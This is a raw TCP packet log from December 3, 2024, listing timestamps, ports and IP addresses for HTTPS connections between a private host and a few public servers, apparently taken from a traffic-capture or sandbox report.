Dec 3, 2024 09:06:03.092345953 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.092358112 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.094094038 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.094162941 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.094172001 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.102596998 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.102662086 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.102669001 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.110050917 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.110133886 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.110143900 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.125942945 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.126013041 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.126013041 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.126028061 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.126068115 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.134000063 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.140360117 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.141944885 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.142009020 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.142016888 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.149872065 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.149928093 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.149935007 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.156955957 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.157018900 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.157026052 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.165407896 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.165458918 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.165467024 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.167479038 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.169524908 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.169576883 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.169584990 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.171262026 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.171330929 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.171338081 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.174135923 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.174185991 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.174192905 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.177083015 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.177139044 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.177146912 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.183058023 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.183064938 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.183120012 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.183125973 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.190596104 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.190664053 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.190670013 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.192573071 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.192630053 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.192636013 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.192684889 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.197237015 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.202172041 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.202264071 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.202270985 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.202332020 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.211771011 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.211777925 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.211833954 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.223001003 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.223006964 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.223064899 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.232804060 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.232811928 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.232868910 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.235369921 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.236906052 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.236912966 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.236974001 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.246136904 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.246195078 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.256165028 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.256326914 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.260780096 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.260837078 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.270040035 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.270096064 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.277513027 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.277568102 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.293874025 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.296093941 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.296124935 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.296274900 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.296283960 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.296338081 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.300394058 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.309990883 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.310051918 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.310060024 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.310208082 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.314392090 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.314402103 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.314443111 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.318535089 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.318586111 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.326956034 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.326967001 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.327013969 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.330480099 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.330539942 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.340544939 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.340619087 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.348014116 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.348089933 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.356467009 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.356529951 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.360104084 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.360163927 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.368416071 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.368488073 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.372659922 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.372715950 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.377175093 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.377234936 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.381099939 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.381171942 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.382039070 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.382098913 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.385776997 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.385831118 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.385835886 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.385855913 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.385879993 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.385915041 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.385921001 CET	443	49744	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.385938883 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.385960102 CET	49744	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.389436007 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.389497995 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.397871971 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.397933006 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.496253967 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.496354103 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.499603987 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.499671936 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.506001949 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.506067038 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.512862921 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.512928009 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.516561031 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.516623974 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.522248983 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.522310972 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.527326107 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.527385950 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.529687881 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.529747009 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.534800053 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.534863949 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.537504911 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.537560940 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.537570000 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.537594080 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.537617922 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.537631989 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.537636042 CET	443	49745	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:03.537659883 CET	49745	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:03.540451050 CET	49746	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.540483952 CET	443	49746	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:03.540579081 CET	49746	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.540822983 CET	49746	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:03.540832043 CET	443	49746	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:04.050452948 CET	49747	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:04.050507069 CET	443	49747	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:04.050586939 CET	49747	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:04.050857067 CET	49747	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:04.050877094 CET	443	49747	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:04.758445024 CET	443	49746	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:04.758884907 CET	49746	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:04.758898973 CET	443	49746	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:04.759217024 CET	443	49746	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:04.759525061 CET	49746	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:04.759593964 CET	443	49746	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:04.759669065 CET	49746	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:04.807337046 CET	443	49746	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:05.201570988 CET	443	49746	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:05.201657057 CET	443	49746	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:05.201710939 CET	49746	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:05.201996088 CET	49746	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:05.202011108 CET	443	49746	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:05.309245110 CET	443	49747	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:05.309642076 CET	49747	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:05.309667110 CET	443	49747	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:05.309993982 CET	443	49747	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:05.310297012 CET	49747	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:05.310367107 CET	443	49747	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:05.310461998 CET	49747	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:05.355331898 CET	443	49747	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:05.759916067 CET	443	49747	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:05.760003090 CET	443	49747	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:05.760046959 CET	49747	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:05.760062933 CET	443	49747	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:05.760072947 CET	443	49747	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:05.760126114 CET	49747	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:05.760592937 CET	49747	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:05.760607958 CET	443	49747	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:05.968440056 CET	49748	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:05.968488932 CET	443	49748	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:05.968588114 CET	49748	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:05.968817949 CET	49748	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:05.968836069 CET	443	49748	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:07.227351904 CET	443	49748	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:07.227638006 CET	49748	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:07.227664948 CET	443	49748	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:07.227984905 CET	443	49748	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:07.228275061 CET	49748	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:07.228337049 CET	443	49748	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:07.228408098 CET	49748	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:07.275329113 CET	443	49748	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:07.679030895 CET	443	49748	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:07.679100037 CET	443	49748	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:07.679155111 CET	49748	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:07.679786921 CET	49748	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:07.679805994 CET	443	49748	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:07.682534933 CET	49749	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:07.682642937 CET	443	49749	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:07.682739019 CET	49749	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:07.682981968 CET	49749	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:07.683012009 CET	443	49749	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:07.811033964 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:07.811083078 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:07.811172962 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:07.811403036 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:07.811415911 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:08.893214941 CET	443	49749	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:08.893608093 CET	49749	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:08.893668890 CET	443	49749	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:08.894027948 CET	443	49749	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:08.894351959 CET	49749	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:08.894427061 CET	443	49749	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:08.894495010 CET	49749	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:08.939336061 CET	443	49749	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:09.067557096 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.067846060 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.067871094 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.068155050 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.068429947 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.068484068 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.068578005 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.068670034 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.068742037 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.068837881 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.068877935 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.338623047 CET	443	49749	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:09.338706970 CET	443	49749	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:09.338779926 CET	49749	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:09.339461088 CET	49749	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:09.339477062 CET	443	49749	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:09.382989883 CET	443	49740	216.58.208.228	192.168.2.16
Dec 3, 2024 09:06:09.383050919 CET	443	49740	216.58.208.228	192.168.2.16
Dec 3, 2024 09:06:09.383107901 CET	49740	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:06:09.700005054 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.700068951 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.700103045 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.700120926 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.700150967 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.700192928 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.700268984 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.700324059 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.700370073 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.700376987 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.708650112 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.708704948 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.708713055 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.725522041 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.725586891 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.725594044 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.771384001 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.820076942 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.867588997 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.867611885 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.904977083 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.905086994 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.905103922 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.914583921 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.914650917 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.914657116 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.922699928 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.922761917 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.922770977 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.922944069 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.922993898 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.922998905 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.923121929 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.923170090 CET	443	49750	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:09.923226118 CET	49750	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:09.925779104 CET	49740	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:06:09.925806999 CET	443	49740	216.58.208.228	192.168.2.16
Dec 3, 2024 09:06:09.926158905 CET	49751	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:09.926196098 CET	443	49751	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:09.926275969 CET	49751	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:09.926496983 CET	49751	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:09.926513910 CET	443	49751	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:11.136085033 CET	443	49751	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:11.136487961 CET	49751	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:11.136511087 CET	443	49751	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:11.136852026 CET	443	49751	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:11.137187004 CET	49751	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:11.137245893 CET	443	49751	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:11.137362957 CET	49751	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:11.183330059 CET	443	49751	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:11.579021931 CET	443	49751	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:11.579090118 CET	443	49751	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:11.579163074 CET	49751	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:11.579641104 CET	49751	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:06:11.579684973 CET	443	49751	104.18.94.41	192.168.2.16
Dec 3, 2024 09:06:13.692178011 CET	49753	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:13.692219973 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:13.692311049 CET	49753	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:13.692557096 CET	49753	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:13.692569017 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:14.904191971 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:14.904529095 CET	49753	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:14.904551983 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:14.905612946 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:14.905689001 CET	49753	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:14.905989885 CET	49753	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:14.906064034 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:14.906164885 CET	49753	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:14.906174898 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:14.906228065 CET	49753	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:14.906253099 CET	49753	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:14.906255007 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:14.906284094 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:14.906327963 CET	49753	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:14.906385899 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:15.615173101 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:15.615276098 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:15.615329027 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:15.615386009 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:15.615422010 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:15.615449905 CET	49753	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:15.615451097 CET	49753	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:15.615499973 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:15.615537882 CET	443	49753	104.18.95.41	192.168.2.16
Dec 3, 2024 09:06:15.615564108 CET	49753	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:06:15.615590096 CET	49753	443	192.168.2.16	104.18.95.41
